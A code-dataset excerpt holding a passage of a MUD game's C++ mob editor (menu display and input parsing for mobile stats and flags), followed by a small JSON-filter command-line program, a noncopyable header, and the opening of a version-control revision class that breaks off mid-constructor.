"%sF%s) Armor Class: [%s%4d%s], %sG%s) Exp: [%s%9lld%s], %sH%s) Gold: [%s%8lld%s]\r\n",
cyn, OLC_NUM ( d ), nrm,
grn, nrm, yel, genders[ ( int ) GET_SEX ( mob ) ], nrm,
grn, nrm, yel, GET_ALIAS ( mob ),
grn, nrm, yel, GET_SDESC ( mob ),
grn, nrm, yel, GET_LDESC ( mob ),
grn, nrm, yel, GET_DDESC ( mob ),
grn, nrm, cyn, GET_LEVEL ( mob ), nrm,
grn, nrm, cyn, GET_ALIGNMENT ( mob ), nrm,
grn, nrm, cyn, GET_HITROLL ( mob ), nrm,
grn, nrm, cyn, GET_DAMROLL ( mob ), nrm,
grn, nrm, cyn, GET_NDD ( mob ), nrm,
grn, nrm, cyn, GET_SDD ( mob ), nrm,
grn, nrm, cyn, mob_stats[GET_LEVEL ( mob ) ].hp_dice, nrm,
grn, nrm, cyn, mob_stats[GET_LEVEL ( mob ) ].hp_sides, nrm,
grn, nrm, cyn, mob_stats[GET_LEVEL ( mob ) ].hp_bonus, nrm,
grn, nrm, cyn, GET_AC ( mob ), nrm,
grn, nrm, cyn, GET_EXP ( mob ), nrm,
grn, nrm, cyn, GET_GOLD ( mob ), nrm
);
sprintbitarray ( MOB_FLAGS ( mob ), action_bits, AF_ARRAY_MAX, flags, sizeof ( flags ) );
sprintbitarray ( AFF_FLAGS ( mob ), affected_bits, AF_ARRAY_MAX, flag2, sizeof ( flag2 ) );
d->Output (
"%sI%s) Position : %s%-9s %sJ%s) Default : %s%s\r\n"
"%sK%s) Attack : %s%s\r\n"
"%sL%s) NPC Flags : %s%s\r\n"
"%sM%s) AFF Flags : %s%s\r\n"
"%sN%s) Segments : %s%-9s %sX%s) Training List : %s%s\r\n"
"%sR%s) Mob Race : %s%-9s %sV%s) Mob Class : %s%s\r\n"
"%sT%s) Tier : %s%-9d %sO%s) Subskill : %s%s\r\n"
"%sU%s) Charisma : %s%-9d %sW%s) Skin Vnum : %s%d\r\n"
#if CONFIG_OASIS_MPROG
"%sP%s) Mob Progs : %s%s\r\n"
#endif
"%sS%s) Script : %s%-9s %sY%s) Owner : %s%s\r\n"
"%sP%s) Arrive : %s%s\r\n"
"%sZ%s) Leave : %s%s\r\n"
"%sQ%s) Quit\r\n"
"Enter choice : ",
grn, nrm, yel, position_types[ ( int ) GET_POS ( mob ) ],
grn, nrm, yel, position_types[ ( int ) GET_DEFAULT_POS ( mob ) ],
grn, nrm, yel, attack_hit_text[ ( int ) GET_ATTACK ( mob ) ].singular,
grn, nrm, cyn, flags, grn, nrm, cyn, flag2,
grn, nrm, cyn, mob->mob_specials.join_list ? "Set" : "Not set",
grn, nrm, cyn, mob->mob_specials.teaches_skills.size() > 0 ? "Set" : "Not Set",
grn, nrm, cyn, race_name ( mob ),
grn, nrm, cyn, simple_class_name ( mob ),
grn, nrm, cyn, MOB_TIER ( mob ),
grn, nrm, cyn, sub_name ( MOB_SUBSKILL ( mob ) ),
grn, nrm, cyn, GET_CHA ( mob ),
grn, nrm, cyn, MOB_SKIN ( mob ),
#if CONFIG_OASIS_MPROG
grn, nrm, cyn, ( OLC_MPROGL ( d ) ? "Set." : "Not Set." ),
#endif
grn, nrm, cyn, OLC_SCRIPT ( d ) ?"Set.":"Not Set.",
grn, nrm, cyn, pi.NameById ( MOB_OWNER ( mob ) ),
grn, nrm, cyn, GET_CUSTOM_ARRIVE_MSG ( mob ),
grn, nrm, cyn, GET_CUSTOM_LEAVE_MSG ( mob ),
grn, nrm
);
OLC_MODE ( d ) = MEDIT_MAIN_MENU;
}
/************************************************************************
* The GARGANTAUN event handler *
************************************************************************/
void medit_parse ( Descriptor *d, char *arg )
{
int i = -1;
char *oldtext = NULL;
if ( OLC_MODE ( d ) > MEDIT_NUMERICAL_RESPONSE )
{
i = atoi ( arg );
if ( !*arg || ( !isdigit ( arg[0] ) && ( ( *arg == '-' ) && !isdigit ( arg[1] ) ) ) )
{
d->Output ( "Field must be numerical, try again : " );
return;
}
}
else /* String response. */
{
if ( !genolc_checkstring ( d, arg ) )
return;
}
switch ( OLC_MODE ( d ) )
{
/*-------------------------------------------------------------------*/
case MEDIT_CONFIRM_SAVESTRING:
/*
* Ensure mob has MOB_ISNPC set or things will go pear shaped.
*/
SET_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_ISNPC );
switch ( *arg )
{
case 'y':
case 'Y':
/*
* Save the mob in memory and to disk.
*/
medit_save_internally ( d );
new_mudlog ( CMP, MAX ( LVL_BUILDER, GET_INVIS_LEV ( d->character ) ), TRUE,
"OLC: %s finishes editing mob %d", GET_NAME ( d->character ), OLC_NUM ( d ) );
if ( CONFIG_OLC_SAVE )
{
medit_save_to_disk ( zone_table[real_zone_by_thing ( OLC_NUM ( d ) ) ].number );
d->Output ( "Mobile saved to disk.\r\n" );
}
else
d->Output ( "Mobile saved to memory.\r\n" );
/* FALL THROUGH */
case 'n':
case 'N':
cleanup_olc ( d, CLEANUP_ALL );
return;
default:
d->Output ( "Invalid choice!\r\n" );
d->Output ( "Do you wish to save the mobile? : " );
return;
}
break;
/*-------------------------------------------------------------------*/
case MEDIT_MAIN_MENU:
i = 0;
switch ( *arg )
{
case 'c':
case 'C':
case 'd':
case 'D':
case 'e':
case 'E':
d->Output ( "This has been disabled for now.\r\n" );
medit_disp_menu ( d );
return;
case 'q':
case 'Q':
if ( OLC_VAL ( d ) ) /* Anything been changed? */
{
d->Output ( "Do you wish to save the changes to the mobile? (y/n) : " );
OLC_MODE ( d ) = MEDIT_CONFIRM_SAVESTRING;
}
else
cleanup_olc ( d, CLEANUP_ALL );
return;
case '1':
OLC_MODE ( d ) = MEDIT_SEX;
medit_disp_sex ( d );
return;
case '2':
OLC_MODE ( d ) = MEDIT_ALIAS;
i--;
break;
case '3':
OLC_MODE ( d ) = MEDIT_S_DESC;
i--;
break;
case '4':
OLC_MODE ( d ) = MEDIT_L_DESC;
i--;
break;
case '5':
OLC_MODE ( d ) = MEDIT_D_DESC;
send_editor_help ( d );
d->Output ( "Enter mob description:\r\n\r\n" );
if ( OLC_MOB ( d )->player.description )
{
d->Output ( "%s", OLC_MOB ( d )->player.description );
oldtext = strdup ( OLC_MOB ( d )->player.description );
}
string_write ( d, &OLC_MOB ( d )->player.description, MAX_MOB_DESC, 0, oldtext );
OLC_VAL ( d ) = 1;
return;
case '6':
OLC_MODE ( d ) = MEDIT_LEVEL;
i++;
break;
case '7':
OLC_MODE ( d ) = MEDIT_ALIGNMENT;
i++;
break;
case '8':
OLC_MODE ( d ) = MEDIT_HITROLL;
i++;
break;
case '9':
OLC_MODE ( d ) = MEDIT_DAMROLL;
i++;
break;
case 'a':
case 'A':
OLC_MODE ( d ) = MEDIT_NDD;
i++;
break;
case 'b':
case 'B':
OLC_MODE ( d ) = MEDIT_SDD;
i++;
break;
/* Disabled for now, until balancing isn't done at boot time.
case 'c':
case 'C':
OLC_MODE(d) = MEDIT_NUM_HP_DICE;
i++;
break;
case 'd':
case 'D':
OLC_MODE(d) = MEDIT_SIZE_HP_DICE;
i++;
break;
case 'e':
case 'E':
OLC_MODE(d) = MEDIT_ADD_HP;
i++;
break;
*/
case 'f':
case 'F':
OLC_MODE ( d ) = MEDIT_AC;
i++;
break;
case 'g':
case 'G':
OLC_MODE ( d ) = MEDIT_EXP;
i++;
break;
case 'h':
case 'H':
OLC_MODE ( d ) = MEDIT_GOLD;
i++;
break;
case 'i':
case 'I':
OLC_MODE ( d ) = MEDIT_POS;
medit_disp_positions ( d );
return;
case 'j':
case 'J':
OLC_MODE ( d ) = MEDIT_DEFAULT_POS;
medit_disp_positions ( d );
return;
case 'k':
case 'K':
OLC_MODE ( d ) = MEDIT_ATTACK;
medit_disp_attack_types ( d );
return;
case 'l':
case 'L':
OLC_MODE ( d ) = MEDIT_NPC_FLAGS;
medit_disp_mob_flags ( d );
return;
case 'm':
case 'M':
OLC_MODE ( d ) = MEDIT_AFF_FLAGS;
medit_disp_aff_flags ( d );
return;
case 'n':
case 'N':
OLC_MODE ( d ) = MEDIT_SEGMENTS;
medit_disp_mob_joins ( d );
return;
case 'x':
case 'X':
OLC_MODE ( d ) = MEDIT_TRAINING;
medit_disp_mob_trains ( d );
return;
case 'o':
case 'O':
OLC_MODE ( d ) = MEDIT_SUBSKILL;
medit_disp_mob_subskill ( d );
return;
#if CONFIG_OASIS_MPROG
case 'p':
case 'P':
OLC_MODE ( d ) = MEDIT_MPROG;
medit_disp_mprog ( d );
return;
#endif
/* q is quit */
case 'r':
case 'R':
OLC_MODE ( d ) = MEDIT_RACE;
medit_disp_mob_race ( d );
return;
case 's':
case 'S':
OLC_SCRIPT_EDIT_MODE ( d ) = SCRIPT_MAIN_MENU;
dg_script_menu ( d );
return;
case 't':
case 'T':
OLC_MODE ( d ) = MEDIT_TIER;
medit_disp_mob_tier ( d );
return;
case 'u':
case 'U':
OLC_MODE ( d ) = MEDIT_CHA;
medit_disp_mob_stats ( d, MEDIT_CHA );
return;
case 'v':
case 'V':
OLC_MODE ( d ) = MEDIT_CLASS;
medit_disp_mob_class ( d );
return;
case 'w':
case 'W':
OLC_MODE ( d ) = MEDIT_SKIN;
medit_disp_mob_skin ( d );
return;
case 'y':
case 'Y':
OLC_MODE ( d ) = MEDIT_OWNER;
medit_disp_mob_owner ( d );
return;
case 'p':
case 'P':
OLC_MODE ( d ) = MEDIT_ARRIVE;
i=-1;
break;
case 'z':
case 'Z':
OLC_MODE ( d ) = MEDIT_LEAVE;
i=-1;
break;
default:
medit_disp_menu ( d );
return;
}
if ( i == 0 )
break;
else if ( i == 1 )
d->Output ( "\r\nEnter new value : " );
else if ( i == -1 )
d->Output ( "\r\nEnter new text :\r\n] " );
else
d->Output ( "Oops...\r\n" );
return;
/*-------------------------------------------------------------------*/
case OLC_SCRIPT_EDIT:
if ( dg_script_edit_parse ( d, arg ) )
return;
break;
/*-------------------------------------------------------------------*/
case MEDIT_ALIAS:
smash_tilde ( arg );
free_string ( &GET_ALIAS ( OLC_MOB ( d ) ) );
GET_ALIAS ( OLC_MOB ( d ) ) = str_udup ( arg );
break;
/*-------------------------------------------------------------------*/
case MEDIT_S_DESC:
smash_tilde ( arg );
free_string ( &GET_SDESC ( OLC_MOB ( d ) ) );
GET_SDESC ( OLC_MOB ( d ) ) = str_udup ( arg );
break;
/*-------------------------------------------------------------------*/
case MEDIT_L_DESC:
smash_tilde ( arg );
if ( arg && *arg )
{
char buff[MAX_INPUT_LENGTH];
strlcpy ( buff, arg, sizeof ( buff ) );
strlcat ( buff, "\r\n", sizeof ( buff ) );
GET_LDESC ( OLC_MOB ( d ) ) = strdup ( buff );
}
else
GET_LDESC ( OLC_MOB ( d ) ) = strdup ( "undefined\r\n" );
break;
/*-------------------------------------------------------------------*/
case MEDIT_D_DESC:
/*
* We should never get here.
*/
cleanup_olc ( d, CLEANUP_ALL );
new_mudlog ( BRF, LVL_BUILDER, TRUE, "SYSERR: OLC: medit_parse(): Reached D_DESC case!" );
d->Output ( "Oops...\r\n" );
break;
/*-------------------------------------------------------------------*/
#if CONFIG_OASIS_MPROG
case MEDIT_MPROG_COMLIST:
/*
* We should never get here, but if we do, bail out.
*/
cleanup_olc ( d, CLEANUP_ALL );
new_mudlog ( BRF, LVL_BUILDER, TRUE, "SYSERR: OLC: medit_parse(): Reached MPROG_COMLIST case!" );
break;
#endif
/*-------------------------------------------------------------------*/
case MEDIT_NPC_FLAGS:
if ( ( i = atoi ( arg ) ) <= 0 )
break;
else if ( i <= NUM_MOB_FLAGS )
{
switch ( i - 1 )
{
case MOB_AGGRESSIVE:
if ( !IS_SET_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_AGGRESSIVE ) )
{
SET_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOCHARM );
SET_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOSUMMON );
}
else
{
REMOVE_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOCHARM );
REMOVE_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOSUMMON );
}
break;
case MOB_QUEST:
if ( !IS_SET_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_QUEST ) )
{
SET_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOCHARM );
SET_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOSUMMON );
SET_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_INFRAVISION );
SET_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_DETECT_INVIS );
SET_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_SENSE_LIFE );
SET_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_NOTRACK );
}
else
{
REMOVE_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOCHARM );
REMOVE_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), MOB_NOSUMMON );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_INFRAVISION );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_DETECT_INVIS );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_SENSE_LIFE );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_NOTRACK );
}
}
TOGGLE_BIT_AR ( MOB_FLAGS ( OLC_MOB ( d ) ), ( i - 1 ) );
}
medit_disp_mob_flags ( d );
return;
/*-------------------------------------------------------------------*/
case MEDIT_AFF_FLAGS:
if ( ( i = atoi ( arg ) ) <= 0 )
break;
else if ( i <= NUM_AFF_FLAGS )
TOGGLE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), ( i - 1 ) );
/* Remove unwanted bits right away. */
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_CHARM );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_POISON_1 );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_POISON_2 );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_POISON_3 );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_POISON_4 );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_GROUP );
REMOVE_BIT_AR ( AFF_FLAGS ( OLC_MOB ( d ) ), AFF_SLEEP );
medit_disp_aff_flags ( d );
return;
/*-------------------------------------------------------------------*/
#if CONFIG_OASIS_MPROG
case MEDIT_MPROG:
if ( ( i = atoi ( arg ) ) == 0 )
medit_disp_menu ( d );
else if ( i == OLC_MTOTAL ( d ) )
{
struct mob_prog_data *temp;
CREATE ( temp, struct mob_prog_data, 1 );
temp->next = OLC_MPROGL ( d );
temp->type = -1;
temp->arglist = NULL;
temp->comlist = NULL;
OLC_MPROG ( d ) = temp;
OLC_MPROGL ( d ) = temp;
OLC_MODE ( d ) = MEDIT_CHANGE_MPROG;
medit_change_mprog ( d );
}
else if ( i < OLC_MTOTAL ( d ) )
{
struct mob_prog_data *temp;
int x = 1;
for ( temp = OLC_MPROGL ( d ); temp && x < i; temp = temp->next )
x++;
OLC_MPROG ( d ) = temp;
OLC_MODE ( d ) = MEDIT_CHANGE_MPROG;
medit_change_mprog ( d );
}
else if ( i == ( OLC_MTOTAL ( d ) + 1 ) )
{
d->Output ( "Which mob prog do you want to purge? " );
OLC_MODE ( d ) = MEDIT_PURGE_MPROG;
}
else
medit_disp_menu ( d );
return;
case MEDIT_PURGE_MPROG:
if ( ( i = atoi ( arg ) ) > 0 && i < OLC_MTOTAL ( d ) )
{
struct mob_prog_data *temp;
int x = 1;
for ( temp = OLC_MPROGL ( d ); temp && x < i; temp = temp->next )
x++;
OLC_MPROG ( d ) = temp;
REMOVE_FROM_LIST ( OLC_MPROG ( d ), OLC_MPROGL ( d ), next );
free ( OLC_MPROG ( d )->arglist );
free ( OLC_MPROG ( d )->comlist );
free ( OLC_MPROG ( d ) );
OLC_MPROG ( d ) = NULL;
OLC_VAL ( d ) = 1;
}
medit_disp_mprog ( d );
return;
case MEDIT_CHANGE_MPROG:
if ( ( i = atoi ( arg ) ) == 1 )
medit_disp_mprog_types ( d );
else if ( i == 2 )
{
d->Output ( "Enter new arg list: " );
OLC_MODE ( d ) = MEDIT_MPROG_ARGS;
}
else if ( i == 3 )
{
d->Output ( "Enter new mob prog commands:\r\n" );
/*
* Pass control to modify.c for typing.
*/
OLC_MODE ( d ) = MEDIT_MPROG_COMLIST;
if ( OLC_MPROG ( d )->comlist )
{
d->Output ( "%s", OLC_MPROG ( d )->comlist );
oldtext = strdup ( OLC_MPROG ( d )->comlist );
}
string_write ( d, &OLC_MPROG ( d )->comlist, MAX_STRING_LENGTH, 0, oldtext );
OLC_VAL ( d ) = 1;
}
else
medit_disp_mprog ( d );
return;
#endif
/*-------------------------------------------------------------------*/
/*
* Numerical responses.
*/
#if CONFIG_OASIS_MPROG
case MEDIT_MPROG_TYPE:
/*
* This calculation may be off by one too many powers of 2?
* Someone who actually uses MobProgs will have to check.
*/
OLC_MPROG ( d )->type = ( 1 << LIMIT ( atoi ( arg ), 0, NUM_PROGS - 1 ) );
OLC_VAL ( d ) = 1;
medit_change_mprog ( d );
return;
case MEDIT_MPROG_ARGS:
OLC_MPROG ( d )->arglist = strdup ( arg );
OLC_VAL ( d ) = 1;
medit_change_mprog ( d );
return;
#endif
case MEDIT_SEX:
GET_SEX ( OLC_MOB ( d ) ) = LIMIT ( i, 0, NUM_GENDERS - 1 );
break;
case MEDIT_HITROLL:
GET_HITROLL ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 50 );
break;
case MEDIT_DAMROLL:
GET_DAMROLL ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 50 );
break;
case MEDIT_NDD:
GET_NDD ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 30 );
break;
case MEDIT_SDD:
GET_SDD ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 127 );
break;
case MEDIT_NUM_HP_DICE:
GET_HIT ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 30 );
break;
case MEDIT_SIZE_HP_DICE:
GET_MANA ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 1000 );
break;
case MEDIT_ADD_HP:
GET_MOVE ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 30000 );
break;
case MEDIT_AC:
GET_AC ( OLC_MOB ( d ) ) = LIMIT ( i, -200, 200 );
break;
case MEDIT_EXP:
GET_EXP ( OLC_MOB ( d ) ) = LIMIT ( i, 0, MAX_MOB_EXP );
break;
case MEDIT_GOLD:
if ( GET_MRACE ( OLC_MOB ( d ) ) == MOB_RACE_ANIMAL || GET_MRACE ( OLC_MOB ( d ) ) == MOB_RACE_EXOTIC )
GET_GOLD ( OLC_MOB ( d ) ) = 0;
else
GET_GOLD ( OLC_MOB ( d ) ) = LIMIT ( i, 0, MAX_MOB_GOLD );
break;
case MEDIT_POS:
GET_POS ( OLC_MOB ( d ) ) = LIMIT ( i, 0, NUM_POSITIONS - 1 );
break;
case MEDIT_DEFAULT_POS:
GET_DEFAULT_POS ( OLC_MOB ( d ) ) = LIMIT ( i, 0, NUM_POSITIONS - 1 );
break;
case MEDIT_ATTACK:
GET_ATTACK ( OLC_MOB ( d ) ) = LIMIT ( i, 0, NUM_ATTACK_TYPES - 1 );
break;
case MEDIT_CHA:
GET_CHA ( OLC_MOB ( d ) ) = LIMIT ( i, 0, 100 );
break;
case MEDIT_LEVEL:
i = IRANGE ( 1, i, MAX_MOB_LEVELS - 1 );
GET_LEVEL ( OLC_MOB ( d ) ) = i;
GET_HITROLL ( OLC_MOB ( d ) ) = mob_stats[i].hitroll;
GET_DAMROLL ( OLC_MOB ( d ) ) = mob_stats[i].dam_bonus;
GET_NDD ( OLC_MOB ( d ) ) = mob_stats[i].dam_dice;
GET_SDD ( OLC_MOB ( d ) ) = mob_stats[i].dam_sides;
GET_HIT ( OLC_MOB ( d ) ) = mob_stats[i].hp_dice;
GET_MANA ( OLC_MOB ( d ) ) = mob_stats[i].hp_sides;
GET_MOVE ( OLC_MOB ( d ) ) = mob_stats[i].hp_bonus;
GET_AC ( OLC_MOB ( d ) ) = mob_stats[i].ac;
GET_EXP ( OLC_MOB ( d ) ) = mob_stats[i].exp;
if ( GET_MRACE ( OLC_MOB ( d ) ) == MOB_RACE_ANIMAL || GET_MRACE ( OLC_MOB ( d ) ) == MOB_RACE_EXOTIC )
GET_GOLD ( OLC_MOB ( d ) ) = 0;
else
GET_GOLD ( OLC_MOB ( d ) ) = ( mob_stats[i].gold / 2 );
break;
case MEDIT_ALIGNMENT:
GET_ALIGNMENT ( OLC_MOB ( d ) ) = LIMIT ( i, -1000, 1000 );
break;
case MEDIT_RACE:
i = GET_LEVEL ( OLC_MOB ( d ) );
GET_MRACE ( OLC_MOB ( d ) ) = MAX ( 0, MIN ( 3, atoi ( arg ) ) );
if ( GET_MRACE ( OLC_MOB ( d ) ) == MOB_RACE_ANIMAL || GET_MRACE ( OLC_MOB ( d ) ) == MOB_RACE_EXOTIC )
GET_GOLD ( OLC_MOB ( d ) ) = 0;
else
GET_GOLD ( OLC_MOB ( d ) ) = ( mob_stats[i].gold );
break;
case MEDIT_CLASS:
GET_CLASS ( OLC_MOB ( d ) ) = IRANGE ( 0, atoi ( arg ), NUM_MOB_CLASSES-1 );
break;
case MEDIT_TIER:
MOB_TIER ( OLC_MOB ( d ) ) = IRANGE ( 0, atoi ( arg ), 4 );
break;
case MEDIT_SUBSKILL:
MOB_SUBSKILL ( OLC_MOB ( d ) ) = IRANGE ( -1, atoi ( arg ), TOP_SUB_DEFINE-1 );
break;
case MEDIT_SKIN:
i = atoi ( arg );
if ( i == 0 || ( i != NOTHING && real_object ( i ) == NOTHING ) )
{
d->Output ( "%s is not a valid skin vnum.\r\n\r\n", arg );
return;
}
if ( i == -1 )
d->Output ( "Skin set to -1 (none).\r\n\r\n" );
else
d->Output ( "Skin set to [%d] %s.\r\n", i, obj_proto[ real_object ( i )].short_description );
MOB_SKIN ( OLC_MOB ( d ) ) = i;
break;
case MEDIT_OWNER:
if ( is_number ( arg ) || *arg == '-' )
{
i = atoi ( arg );
MOB_OWNER ( OLC_MOB ( d ) ) = IRANGE ( -1L, i, pi.TopIdNum );
}
else
MOB_OWNER ( OLC_MOB ( d ) ) = pi.IdByName ( arg );
break;
case MEDIT_SEGMENTS:
switch ( *arg )
{
case 'd':
case 'D':
d->Output ( "Delete which segment number?: " );
OLC_MODE ( d ) = MEDIT_DELETE_SEGMENT;
return;
default:
i = atoi ( arg );
if ( i == -1 )
{
break;
}
else if ( i == GET_MOB_VNUM ( OLC_MOB ( d ) ) )
{
d->Output ( "That vnum is invalid!\r\n" );
return;
}
else if ( !MobProtoExists ( i ) )
{
d->Output ( "That mob doesn't exist!\r\n" );
return;
}
else
add_base_link_mob ( OLC_MOB ( d ), i );
medit_disp_mob_joins ( d );
return;
}
break;
case MEDIT_DELETE_SEGMENT:
if ( ( i = atoi ( arg ) ) <= join_count ( OLC_MOB ( d ) ) && i > 0 )
{
delete_one_join ( OLC_MOB ( d ), i );
}
else if ( i != -1 )
{
d->Output ( "That number is invalid!\r\n" );
medit_disp_mob_joins ( d );
return;
}
break;
case MEDIT_TRAINING:
if ( ( arg[0] == 'd' || arg[0] == 'D' ) && !arg[1] )
{
d->Output ( "Delete which training ability?: " );
OLC_MODE ( d ) = MEDIT_DELETE_TRAINING;
return;
}
else if ( ( arg[0] == 'q' || arg[0] == 'Q' ) && !arg[1] )
{
break;
}
else
{
i = spell_num ( arg );
if ( i == TYPE_UNDEFINED )
{
d->Output ( "\r\nSorry, that skill or spell name is unrecognised.\r\n" );
break;
}
else
OLC_MOB ( d )->mob_specials.teaches_skills.push_back ( i );
medit_disp_mob_trains ( d );
return;
}
break;
case MEDIT_DELETE_TRAINING:
i = spell_num ( arg );
if ( i == TYPE_UNDEFINED )
{
break;
}
else
{
bool found_it = FALSE;
for ( vector<int>::iterator it = OLC_MOB ( d )->mob_specials.teaches_skills.begin(); it != OLC_MOB ( d )->mob_specials.teaches_skills.end(); it++ )
{
if ( ( *it ) == i )
{
OLC_MOB ( d )->mob_specials.teaches_skills.erase ( it );
found_it = TRUE;
break;
}
}
if ( !found_it )
{
d->Output ( "%s is not something they teach!\r\n", skill_name ( i ) );
medit_disp_mob_trains ( d );
return;
}
}
break;
case MEDIT_ARRIVE:
free(GET_CUSTOM_ARRIVE_MSG(OLC_MOB(d)));
if (strlen(arg) == 0)
GET_CUSTOM_ARRIVE_MSG(OLC_MOB(d)) = NULL;
else
GET_CUSTOM_ARRIVE_MSG(OLC_MOB(d)) = delete_doubledollar(strdup(arg));
break;
case MEDIT_LEAVE:
free(GET_CUSTOM_LEAVE_MSG(OLC_MOB(d)));
if (strlen(arg) == 0)
GET_CUSTOM_LEAVE_MSG(OLC_MOB(d)) = NULL;
else
GET_CUSTOM_LEAVE_MSG(OLC_MOB(d)) = delete_doubledollar(strdup(arg));
break;
/*-------------------------------------------------------------------*/
default:
/*
* We should never get here.
*/
cleanup_olc ( d, CLEANUP_ALL );
new_mudlog ( BRF, LVL_BUILDER, TRUE, "SYSERR: OLC: medit_parse(): Reached default case!" );
d->Output ( "Oops...\r\n" );
break;
}
/*-------------------------------------------------------------------*/
/*
* END OF CASE
* If we get here, we have probably changed something, and now want to
* return to main menu. Use OLC_VAL as a 'has changed' flag
*/
OLC_VAL ( d ) = TRUE;
medit_disp_menu ( d );
}
void medit_string_cleanup ( Descriptor *d, int terminator )
{
switch ( OLC_MODE ( d ) )
{
#if CONFIG_OASIS_MPROG
case MEDIT_MPROG_COMLIST:
medit_change_mprog ( d );
break;
#endif
case MEDIT_D_DESC:
default:
medit_disp_menu ( d );
break;
}
}
float mob_hitpoint_multi ( int chclass )
{
switch ( chclass )
{
case CLASS_NORMAL:
return 1.0f;
break;
case CLASS_UNDEAD:
return 1.0f;
break;
case CLASS_CASTER:
return 0.5f;
break;
case CLASS_FIGHTER:
return 1.5f;
break;
case CLASS_ROGUE:
return 0.9f;
break;
case CLASS_ANIMAL:
return 0.7f;
break;
}
return 1.0f;
}
|
03e82b53eeef524a56db72d6ea7463cb4fc9517c
|
a51e02e55c21e1a1c878024d5cea787a55bcf49f
|
/exe/src/main.cpp
|
a5be75eff06ca8a435be0df5f9b1261e9ee84516
|
[] |
no_license
|
gr258/201907TL
|
f53afc58d3f8621eba812952cb50303a01a99c4f
|
f1304277b18689c8803e9ee540e245cdc8a7915d
|
refs/heads/master
| 2020-06-19T12:47:40.170870
| 2019-07-19T05:42:55
| 2019-07-19T05:42:55
| 196,713,107
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 312
|
cpp
|
main.cpp
|
#include <stdio.h>
#include "JsonFilterApi.h"
int main(int argc, char *argv[])
{
if(argc < 3)
{
printf("Usage: %s [jsonfile] [filterExpr]\n",argv[0]);
}
else
{
string strResult = JsonFilter(argv[1], argv[2]);
printf("%s\n", strResult.c_str());
}
return 0;
}
|
0acfd5c6ed51df3a0ee581f29c71c6d9e926c884
|
344e1d2dd3400ba700eafca93fee842f4db098aa
|
/include/noncopyable.h
|
4c33a19c3dca132173c64c8168923b0870098622
|
[] |
no_license
|
xiangbai/spellCorrect
|
f7a138eee3de0f5d912fc8a4ec288d6f6f1e4225
|
34e4441179f942d2266f83dced5fc3f3e9442d93
|
refs/heads/master
| 2021-01-19T06:43:26.126535
| 2014-05-13T09:42:37
| 2014-05-13T09:42:37
| 19,405,295
| 1
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 243
|
h
|
noncopyable.h
|
#ifndef NONCOPYABLE_H_
#define NONCOPYABLE_H_
#include <iostream>
class noncopyable{
protected:
noncopyable(){
}
~noncopyable(){
}
private:
noncopyable(const noncopyable &);
noncopyable &operator=(const noncopyable &);
};
#endif
|
fed58c588468e6591491862c0ea0b358acd20d84
|
554a91e9dd16b359d717aa15e291454e71985f13
|
/include/revision.hpp
|
153e2802957d4dc122a1036f1f17d46f7fa12960
|
[] |
no_license
|
DiXN/lit
|
3c5649fb0da816b795e1fed8caa1da29efed3122
|
7c2fe32b5e946fc348dadf8da41cc0928ab5e2e0
|
refs/heads/master
| 2023-01-13T13:22:03.180640
| 2020-11-18T22:42:10
| 2020-11-18T22:42:10
| 304,121,479
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 5,812
|
hpp
|
revision.hpp
|
#pragma once
#include "command.h"
#include "repository.hpp"
#include <ctime>
#include <filesystem>
namespace lit {
class Revision {
private:
string _revision;
string _message;
string _date;
optional<vector<string>> _parents;
string _parents_str;
const Repository& repo = Repository::instance();
int unique_commit_id() const {
const auto& last_commit = repo.last_commit_of_branch(".total");
if (!last_commit) {
return 0;
}
const auto& [last_commit_nr, date, message, parents] = *last_commit;
stringstream prev_revision(last_commit_nr);
char prev_rev;
int prev_rev_number;
prev_revision >> prev_rev;
prev_revision >> prev_rev_number;
return ++prev_rev_number;
}
void write_commit(const string& branch, const stringstream& ss) const {
const auto& lit_path = repo.get_lit_path();
ofstream commit;
commit.open(lit_path / "branches" / branch, ofstream::out | ofstream::app);
commit << ss.str();
ofstream last(lit_path / "branches" / ".last");
last << ss.str();
ofstream total;
total.open(lit_path / "branches" / ".total", ofstream::out | ofstream::app);
total << ss.str();
}
public:
Revision(const string& revision) {
ifstream branch_file(repo.get_lit_path() / "branches" / ".total");
string line;
